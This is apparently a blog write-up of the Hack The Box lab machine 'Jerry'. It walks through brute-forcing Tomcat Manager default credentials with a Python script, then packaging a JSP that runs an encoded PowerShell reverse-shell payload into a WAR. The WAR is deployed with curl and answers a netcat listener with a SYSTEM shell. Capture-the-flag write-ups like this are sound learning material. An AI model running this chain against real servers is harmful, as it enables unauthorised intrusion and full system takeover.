HTB{ Jerry }

Nov 17, 2018 | 11 minutes read

Tags: war, hack the box, tomcat, jsp, api, python

Jerry is a pretty simple box. I liked Jerry because it gives people a good starting point. This is the box I recommend to friends when they ask about getting started with Hack the Box. No matter how long HTB is around, I believe there needs to be boxes like Jerry available. I will probably continue to recommend Jerry, but now I’ll have to throw in a VIP status recommendation as well. I’m thankful that mrh4sh gave the community such a great starter box. Jerry forced me to explore and learn about Tomcat deployments along with JSP and WAR files, which I appreciate.




As usual, we start off with a masscan followed by a targeted nmap.

masscan -e tun0 -p0-65535,U:0-65535 --rate 700 -oL masscan.

open tcp 8080 1542367193
# end


Only a single port was returned from masscan.

nmap -sC -sV -p 8080 -oA nmap.

8080/tcp open  http    Apache Tomcat/Coyote JSP engine 1.1
|_http-favicon: Apache Tomcat
|_http-server-header: Apache-Coyote/1.1
|_http-title: Apache Tomcat/7.0.88


Even though nmap reports back that we’re dealing with an Apache Tomcat install, we should still dirbust the server to confirm what nmap reports, and see if we catch anything out of the ordinary.

gobuster -u -w /usr/share/wordlists/SecLists/Discovery/Web-Content/common.txt -s 200,204,301,302,307,403,500 -e -t 20 -o tee gobuster.http:_10.10.10.95:8080.out (Status: 200) (Status: 200) (Status: 200) (Status: 200) (Status: 200) (Status: 200) (Status: 302) (Status: 302) (Status: 200) (Status: 302) (Status: 200) (Status: 200) (Status: 302) (Status: 200) (Status: 200)

There wasn’t anything interesting aside from /manager and /host-manager. Both directories are indicative of a Tomcat deployment.

gobust function

If you’ve read any of my other HTB write-ups, you’ll have probably seen my typical gobuster arguments. You may not have seen the actual function I use. It allows me to run gobust 10.10.10.XX and be off doing other things while it scans.

The default wordlist can be changed by adding a second argument i.e.

gobust 10.10.10.XX /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt

If I need some less common gobuster options, i run the function with a -h. All it does in that case is spew out my normal defaults to the screen. I can then copy and paste that line as a starting point to add whatever other options I need.

It could definitely be improved, but it has served me well for quite a while.

function gobust() { 
    if [[ -z "${2}" ]]; then
    if [[ "${1}" == "-h" || "${1}" == "--help" ]]; then
        echo gobuster -u TARGET -w $wordlist -s '200,204,301,302,307,403,500' -e -t 20 -o tee gobuster.TARGET.out;
        gobuster -u "${1}" -w $wordlist -s '200,204,301,302,307,403,500' -e -t 20 -o gobuster."$(echo ${1} | sed 's#/#_#g' | tr -s _)".out;

If you’d like to make use of the function, open up ~/.bashrc and add the function somewhere to the file. Every bash shell you open after adding it to the file will have the function available (grab a new shell to try it out). Also, the default wordlist I use makes use of the SecLists respository.

Initial Access

Tomcat Manager Credentials

Browsing to presents us with an authentication form, as seen below. At this point, we have no credentials to try, but we can try a few of the defaults for Tomcat. There is a github repo with a handful of default credential lists, one of them happens to be for Tomcat. I’m not sure that I consider each set of credentials true defaults, but it’s certainly a good set of likely candidates to try.

EDIT: I’m a few minutes into Ippsec’s Video of Jerry. He used a different wordlist housed within the Seclists procject (SecLists/Passwords/Default-Credentials/tomcat-betterdefaultpasslist.txt). I’m a big fan of that project, but was unaware they had a Tomcat list. Had I known about it, I would have used it here.


After downloading Apache-Tomcat-Default-Passwords.mdown from the repo, we can strip out the usernames and passwords into two files for use in a login script.

# Apache Tomcat Default Credentials

|Username     |Password  |
|admin        |password  |
|admin        |<blank>   |
|admin        |Password1 |
|both         |tomcat    |

First, the users.

awk -F "|" '!/[U-]/{print $2}' Apache-Tomcat-Default-Passwords.mdown | sort | uniq > tomcat-users

We’re using the awk command to do roughly the same thing that cut can do, it’s just a little more elegant because we can use regex to filter out the table headers.

After grabbing the username column, we sort the results and pipe it to uniq to remove any duplicate entries.


Then we do the same thing for the passwords, we just specify a different column in our awk command.

awk -F "|" '!/[U-]/{print $3}' Apache-Tomcat-Default-Passwords.mdown | sort | uniq > tomcat-passwords   

Tomcat Login Script

With our list of usernames and passwords we can whip up a quick script to try and login to the Tomcat server using Basic Auth.

import requests
from requests.auth import HTTPBasicAuth

with open("tomcat-users") as users, open("tomcat-passwords") as passwords:
    for user in users:
        user = user.strip()  # remove trailing newline  # go to 0th byte in the file, i.e. the beginning
        for password in passwords:
            password = password.strip()
            resp = requests.get('', auth=HTTPBasicAuth(user, password))
            if resp.status_code != 200: 
                # unauthorized request
            print(f'[+] Found credentials: {user}:{password}')
            raise SystemExit  # got what we can for, just exit

The code above makes a GET request to the Tomcat server using Basic Auth. We can naively assume that any response that is not a 200 means we are unauthorized. Realistically, we could potentially see some other responses and still have sent a valid login, but for simplicity, we’ll use 200.

The code loops over each user, then for each user, it loops over all the possible passwords, trying to login with each combination. If you want to try it yourself, all of the necessary files are in my repo HTB Scripts for Retired Boxes.


[+] Found credentials: tomcat:s3cret

After running the script, we’re rewarded with a set of valid creds for the server.

Tomcat Manager

A little aside about what Tomcat is and does.

In many production environments, it is very useful to have the capability to deploy a new web application, or undeploy an existing one, without having to shut down and restart the entire container.

To support these capabilities, Tomcat includes a web application (installed by default on context path /manager) that supports the following functions:

  • Deploy a new web application from the uploaded contents of a WAR file.
  • Deploy a new web application, on a specified context path, from the server file system.
  • ————-8<————-

The TL;DR being that Tomcat allows easy deployment of web applications. These come in the form of Java Servlet Pages (JSPs) packaged as Web Application Resource files (WARs).

DuckDuckGoing (it’s a thing, prove me wrong) for Tomcat exploits will lead to CVE-2017-12617. This exploit affected multiple versions of Tomcat. The exploit leveraged an unauthenticated PUT request to deploy a JSP file to the server which, when browsed to, allowed RCE. For this exploit to work, the readonly setting had to be set to false for the Manager servlet. Even though ours isn’t vulnerable, the concept is still valid, we just need a way to upload a JSP file.

Even though we aren’t able to perform the same unauthenticated query the exploit used, through Tomcat’s API we can do roughly the same thing using the credentials we found earlier.

I started by poking around the API documentation and found an interesting endpoint, serverinfo. We can use this endpoint as our first foray into the API.

It’s pretty simple to perform a Basic Auth request using curl to get information about the server, as seen below.

curl 'http://tomcat:s3cret@'

OK - Server info
Tomcat Version: Apache Tomcat/7.0.88
OS Name: Windows Server 2012 R2
OS Version: 6.3
OS Architecture: amd64
JVM Version: 1.8.0_171-b11
JVM Vendor: Oracle Corporation

Now we know we’re dealing with a 64bit version of Server 2012 R2 and the Tomcat version is 7.0.88. In order to move from here to RCE, we need to build a JSP and package it as a WAR.

A Simple JSP

DuckDuckGoing (still a thing) for JSP syntax leads us to a few Hello World examples that are enough to put together a very simple example to demonstrate RCE. We’ll start small now and build it out to a reverse shell later. The following line will print out a simple message as a PoC. This line is our JSP in its entirety. Notice that it’s just Java code wrapped in <% %> tags.

<% out.println("Hello HTB!"); %>

Packaging a JSP as a WAR

A word on WAR files from Wikipedia.

In software engineering, a WAR file (Web Application Resource or Web application ARchive) is a file used to distribute a collection of JAR-files, JavaServer Pages, Java Servlets, Java classes, XML files, tag libraries, static web pages (HTML and related files) and other resources that together constitute a web application.

Java web applications use a deployment descriptor file to determine how URLs map to servlets, which URLs require authentication, and other information. This file is named web.xml, and resides in the app’s WAR under the WEB-INF directory.

We’ll start by creating the WEB-INF folder.

mkdir WEB-INF

Next, we need to create WEB-INF/web.xml. This will describe our web application.


Finally, we use the jar command to create the WAR itself.

jar -cvf epis-test.war epis-test.jsp WEB-INF

added manifest
adding: epis-test.jsp(in = 41) (out= 43)(deflated -4%)
adding: WEB-INF/(in = 0) (out= 0)(stored 0%)
adding: WEB-INF/web.xml(in = 141) (out= 73)(deflated 48%)

Now we have epis-test.war. Let’s see about getting it to the server.

Deploy WAR via the Tomcat API

According to the Tomcat Docs, we can do a simple PUT request to get our newly created WAR file onto target.

curl --upload-file epis-test.war 'http://tomcat:s3cret@'

OK - Deployed application at context path /epis-test

What threw off a lot of people doing Jerry, was not knowing where the manager deployed the JSP file. Also, most I spoke with used msfvenom and didn’t know that the resulting JSP would have a random alphanumeric name. Fortunately for us, using the API forces us to explicity specify the directory name as well as the name of the JSP. Because we know both of these things, we can simply curl our newly installed JSP and see the results.

curl 'http://tomcat:s3cret@'

Hello HTB!

Now that we’re done with our PoC, we can refer to the API docs to undeploy our web app.

curl 'http://tomcat:s3cret@'

OK - Undeployed application at context path /epis-test

JSP Reverse Shell

Now that we have a working PoC, let’s generate a new JSP that will get us a shell on target.

We already know we’re dealing with a 64 bit Windows Server 2012 R2, so PowerShell seems like a great option for a payload. Let’s use ShellPop to quickly generate a base64 encoded PowerShell revese tcp callback.

shellpop --payload windows/reverse/tcp/powershell --host --port 12345 --base64

powershell.exe -nop -ep bypass -Encoded JABOAEcATQBZAFIAQwBEAHYAbwBzAFkAPQAnADEAMAAuADEAM...

Next, we need to create a new JSP with our payload. We’ll name this one epis-shell.jsp. There are two primary changes from our PoC. First, the Java code to execute a command on the remote system:

  • Runtime.getRuntime - Returns the runtime object associated with the current Java application
  • Runtime.exec - Executes the specified string command in a separate process; Returns a new Process object for managing the subprocess
  • Process.waitFor - Causes the current thread to wait, if necessary, until the process represented by this Process object has terminated

The other obvious change is that we are passing our PowerShell payload as an argument to the .exec function in order to get the Java code to execute our payload.

<% Runtime.getRuntime().exec("powershell.exe -nop -ep bypass -Encoded JABOAEcATQBZAFIAQwBEAHYAbwBzAFkAPQAnADEAMAAuADEAM...").waitFor(); %>

Then we’ll update our WEB-INF/web.xml file to reflect the name change of our JSP.


Finally, we’ll generate a new WAR file.

jar -cf epis-shell.war epis-shell.jsp WEB-INF/

Remote Code Execution via Authenticated JSP Upload

At last, we’re ready to get a shell. First, we setup a netcat listener on the port we specified during payload creation.

nc -nvlp 12345

Now, we just repeat the same steps we performed when testing our PoC.

Deploy the web app containing our PowerShell payload.

curl --upload-file epis-shell.war 'http://tomcat:s3cret@'

OK - Deployed application at context path /epis-shell

Trigger the callback.

curl 'http://tomcat:s3cret@'

… Profit.

listening on [any] 12345 ...
connect to [] from (UNKNOWN) [] 49197
PS C:\apache-tomcat-7.0.88> whoami
nt authority\system
PS C:\apache-tomcat-7.0.88> 

\o/ - access level: nt authority\system

Server Configuration

Now that we’re on the server, we can confirm that the server is not configured to allow PUT commands to the Manager servlet. Recall that this is the setting that CVE-2017-12617 abused. Here is the description of the readonly flag. The default setting is true.

  <!--   readonly            Is this context "read only", so HTTP           -->
  <!--                       commands like PUT and DELETE are               -->
  <!--                       rejected?  [true]                              -->

We can grep through the config file and see that the server doesn’t override the default anywhere, meaning that PUT/DELETE requests on the default servlet are not allowed.

select-string -path conf\web.xml -pattern "readonly"

conf\web.xml:63:  <!--   readonly            Is this context "read only", so 

2 for the price of 1.txt

Checking the administrator’s desktop, we find a folder named flags. Within that directory is the file 2 for the price of 1.txt. It contains both flags.

cat C:\users\administrator\desktop\flags\*



I hope you enjoyed this write-up, or at least found something useful. Drop me a line on the HTB forums or in chat @ NetSec Focus.


Additional Resources

  1. Tomcat API Docs
  2. CVE-2017-12617
  3. HTB Scripts for Retired Boxes
  4. Java Runtime Docs
  5. Java Process Docs
  6. SecLists
  7. ShellPop

comments powered by Disqus